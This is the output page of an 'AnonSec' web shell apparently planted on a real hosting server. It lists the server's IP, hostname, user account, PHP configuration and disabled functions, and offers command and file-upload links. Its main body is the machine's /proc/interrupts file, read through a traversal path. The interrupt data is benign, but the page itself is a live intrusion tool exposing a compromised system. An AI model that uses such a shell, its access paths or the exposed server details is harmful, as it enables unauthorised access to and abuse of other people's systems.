Gotcha!
Server IP : 162.241.5.139  /  Your IP : 216.73.217.5
Web Server : Apache
System : Linux server.vda.uxz.mybluehostin.me 5.14.0-687.59.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 21 06:02:14 EDT 2026 x86_64
User : dataincite ( 1006)
PHP Version : 8.2.35
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0555) :  /../../../proc/159/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //../../../proc/159/../interrupts
           CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      
  1:          0          0          0          9          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC   1-edge      i8042
  4:          0          0          0          0          0          0          0          0          0          0          9          0          1         15          0          0   IO-APIC   4-edge      ttyS0
  8:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC   8-edge      rtc0
  9:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC   9-fasteoi   acpi
 10:          0          0          0          0          0          0          0     145896          0          0          0          0          0          0          2          0   IO-APIC  10-fasteoi   virtio4
 11:          0         40          0          0          0          0          0          0      23753          0          0          0          0          0          0          0   IO-APIC  11-fasteoi   virtio5, uhci_hcd:usb1
 12:          0          0         15          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC  12-edge      i8042
 14:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC  14-edge      ata_piix
 15:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC  15-edge      ata_piix
 24:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:05.0   0-edge      virtio3-config
 25:          0          0          0          0          0          0         15          0          0         11          0          0          0          0          0          0  PCI-MSIX-0000:00:05.0   1-edge      virtio3-virtqueues
 26:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:04.0   0-edge      virtio2-config
 27:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:04.0   1-edge      virtio2-control
 28:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:03.0   0-edge      virtio1-config
 29:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:04.0   2-edge      virtio2-event
 30:     151216     122858      72293     272316     129934     318768      90994     128648     186206     141821     283861     239199     294226      34590     385617      77232  PCI-MSIX-0000:00:03.0   1-edge      virtio1-input.0
 31:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   20787054  PCI-MSIX-0000:00:04.0   3-edge      virtio2-request
 32:     444901     376326     168271     827492     160135     888191     164983     217752     486054     418775     678325     391157     434052      32249     711708     238335  PCI-MSIX-0000:00:03.0   2-edge      virtio1-output.0
 33:      62816    1314646     159738     584562     201789     927113     295295     266112     541466     305456     613918     418466     626456     132375     735840     112722  PCI-MSIX-0000:00:03.0   3-edge      virtio1-input.1
 34:     228369    5948856     103333    1493681     568523    2462280    1439393     450761     913947    1018737    1262588     636387    1520387     223765    1611950     159417  PCI-MSIX-0000:00:03.0   4-edge      virtio1-output.1
 35:     154399     169198     188659     297757     109213     445973     172946     152993     264618     199283     329867     226602     353659      67086     365581     113974  PCI-MSIX-0000:00:03.0   5-edge      virtio1-input.2
 36:     151745     425015    1114034     772925     349578     980505     257010     739039     880344     417718     836823     918132     878983      86237     975625     280146  PCI-MSIX-0000:00:03.0   6-edge      virtio1-output.2
 37:     281515     740519     177091    3618026     292673    1527337     253696     336260     644834     462135     699201     509911     998687     462023    1235690     155331  PCI-MSIX-0000:00:03.0   7-edge      virtio1-input.3
 38:    2056920    1016299     290719   14355608     994844    2603276     835770     602926     989431     641314    1584749     954813    1112248     425902    2086814     695433  PCI-MSIX-0000:00:03.0   8-edge      virtio1-output.3
 39:     161468     189683     221587     316404     368309     390375     147147     175053     246895     188939     310394     219111     345148      70577     348840     103022  PCI-MSIX-0000:00:03.0   9-edge      virtio1-input.4
 40:      50333     619583     120639     948808    2377080    1153906     792301     754342     548267     514363     711588     455094     756763     115262     872773     175469  PCI-MSIX-0000:00:03.0  10-edge      virtio1-output.4
 41:     162207     948315     485556    2019494     337988    5842170     371955     513771     628179     439081     883342     622981     855383     230993    1500922      58746  PCI-MSIX-0000:00:03.0  11-edge      virtio1-input.5
 42:    1492315    2025006     329760    4020474     862176   20537462     630656     332391     976282    1132973    1480167     733078    1709212     170080    2482531     180649  PCI-MSIX-0000:00:03.0  12-edge      virtio1-output.5
 43:          0    8466016          0   26739618          0   43225871       1149          0    9337690    5602394          0          0    3044506          0   38977160   87313527  PCI-MSIX-0000:00:03.0  13-edge      virtio1-input.6
 44:     186865     570438     204455    1028572    1684926    1185547    1680661     360491     650622     477506     843228     688774     751402     100429    1185265     245313  PCI-MSIX-0000:00:03.0  14-edge      virtio1-output.6
 45:     130621     207048      79128     356643     113215     523033     178160     531022     316821     235468     445831     257335     390259     107400     480907     147735  PCI-MSIX-0000:00:03.0  15-edge      virtio1-input.7
 46:     382822     601915     215577     975706     249667    1183166     676905    1508774     823447     449165     718913     600307     917890     130951     998630     415431  PCI-MSIX-0000:00:03.0  16-edge      virtio1-output.7
 47:     148546     388438     172999     550903     204870     751865     234532     358368    1656406     387442     540907     337846     527146     144888     632118     116608  PCI-MSIX-0000:00:03.0  17-edge      virtio1-input.8
 48:     297614     802173    1276256    1251231     304075    1522373     542494     571568    4446217     645102     875898     619654    1450237     234521    1384018     545915  PCI-MSIX-0000:00:03.0  18-edge      virtio1-output.8
 49:     124482     218170      76516     374120     233426     547235     199540     189447     329195     852895     431338     262292     465872      79521     483492     113357  PCI-MSIX-0000:00:03.0  19-edge      virtio1-input.9
 50:     806848     655044     286325     847239     468024    1307488     429031     530845     802533    1633257     884877     593633     889481     223015     988629     426580  PCI-MSIX-0000:00:03.0  20-edge      virtio1-output.9
 51:     209719     430588     283926     674161     182716     902300     283384     352898     526145     390700    2698356     471223     668235     208904     662172     221895  PCI-MSIX-0000:00:03.0  21-edge      virtio1-input.10
 52:     647520    1202910     926042    1375402     587464    2062124     698282     518849     719864     704210    7708838     877697    1452877      96397    1594388     544300  PCI-MSIX-0000:00:03.0  22-edge      virtio1-output.10
 53:     453238     253675     143763     396701     150391     526028     275902     263782     386793     217839     452840     989568     464657     153303     389760     144843  PCI-MSIX-0000:00:03.0  23-edge      virtio1-input.11
 54:     147094     622579     138595    1180229     544689    1425042     351321     371742     735380     646266     884042    3232903     843672     250887    1213605     504967  PCI-MSIX-0000:00:03.0  24-edge      virtio1-output.11
 55:      89421     631982     302969     829294     275698     973739     297615     392334     562960     336649     746199     521884    2493376     140533     849401     378583  PCI-MSIX-0000:00:03.0  25-edge      virtio1-input.12
 56:       4861    1345235     103211    1685192     417908    2037526     787555    1194787    1528500     946261    1655308     848621    6048333     466723    1670466     127513  PCI-MSIX-0000:00:03.0  26-edge      virtio1-output.12
 57:      68462     112010      57242     252071      73572     311903     129729     179113     210563     135236     269951     183896     256331     282481     255854      82252  PCI-MSIX-0000:00:03.0  27-edge      virtio1-input.13
 58:      87816     190302     111980     418115     208418     379987     254656     238492     379519     327472     423494     322286     383127    2499798     397759     203496  PCI-MSIX-0000:00:03.0  28-edge      virtio1-output.13
 59:     395747     707497     489599    1043670     268209    1182715     325248     598537     816254     440841     805715     548580     798849     168325    3855627     245860  PCI-MSIX-0000:00:03.0  29-edge      virtio1-input.14
 60:     305065    1719799     165596    2373481     742193    2542215    1578804     952935     964752     914063    1347914     628454    1478762     285153   14710514     545444  PCI-MSIX-0000:00:03.0  30-edge      virtio1-output.14
 61:      29846     187680      86551     330575     123453     423366     203045     132425     272957     173529     369754     295128     356679     181410     369860     355914  PCI-MSIX-0000:00:03.0  31-edge      virtio1-input.15
 62:     181960     382078     202295     602757     324068     710829     286478     232839     456693     471566     513146     448868     569949     723509     807113     975031  PCI-MSIX-0000:00:03.0  32-edge      virtio1-output.15
 63:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:02.0   0-edge      virtio0-config
 64:     789984     114964     616878     120620     461265     114634     466510     291453     397284     227955     320553     231127     245901    2635368     162584     226836  PCI-MSIX-0000:00:02.0   1-edge      virtio0-control
 65:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:02.0   2-edge      virtio0-cursor
NMI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Non-maskable interrupts
LOC:   83891106  183189872  125321412  196861590  100611435  239981871  104678764   90904195  124895931  107621918   88154124   91456178  200777700   79736976  220813624  344885224   Local timer interrupts
SPU:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Spurious interrupts
PMI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Performance monitoring interrupts
IWI:      28621      42141      26483      78256      25117     126367      29405      33522      52886      38568      65047      46598      54469      14422      83983      34012   IRQ work interrupts
RTR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   APIC ICR read retries
RES:    1497499    1817094    1796980    1629907    1667632    1488112    1584874    1550788    1473282    1484928    1447599    1420206    1395794    1459740    1409804    1412517   Rescheduling interrupts
CAL:   74729743   84160726   68854783   55265884   52044409   47995504   47300679   45716426   46361565   44475020   42786099   44183507   51156694   43861570   43478561   44096810   Function call interrupts
TLB:    2362506    2627406    2582843    2544862    2538999    2492336    2525190    2453787    2451690    2409056    2385073    2370062    2360466    2350447    2317801    2354340   TLB shootdowns
TRM:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Thermal event interrupts
THR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Threshold APIC interrupts
DFR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Deferred Error APIC interrupts
MCE:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Machine check exceptions
MCP:       4453       4453       4453       4453       4453       4453       4453       4453       4453       4453       4453       4453       4453       4453       4453       4453   Machine check polls
ERR:          0
MIS:          0
PIN:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Posted-interrupt notification event
NPI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Nested posted-interrupt event
PIW:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Posted-interrupt wakeup event

AnonSec - 2021